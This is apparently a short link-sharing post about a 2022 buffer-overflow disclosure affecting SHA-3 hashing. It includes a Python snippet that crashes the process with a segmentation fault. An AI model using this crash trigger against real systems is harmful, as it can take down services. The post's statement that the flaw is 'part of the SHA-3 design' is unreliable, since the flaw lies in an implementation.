11513 shaares
421 private links
421 private links
It was disclosed in 2022 and it is part of the SHA-3 design.
The python code
import hashlib
h = hashlib.sha3_224()
h.update(b"\x00" * 1)
h.update(b"\x00" * 4294967295)
print(h.hexdigest())
generates a segmentation fault. The scripts will attempt to write more data to a buffer than it can hold. A small variant cause an infinite loop.
This can be used to violate the cryptographic properties of the hash function to create preimages, second preimages and collisions.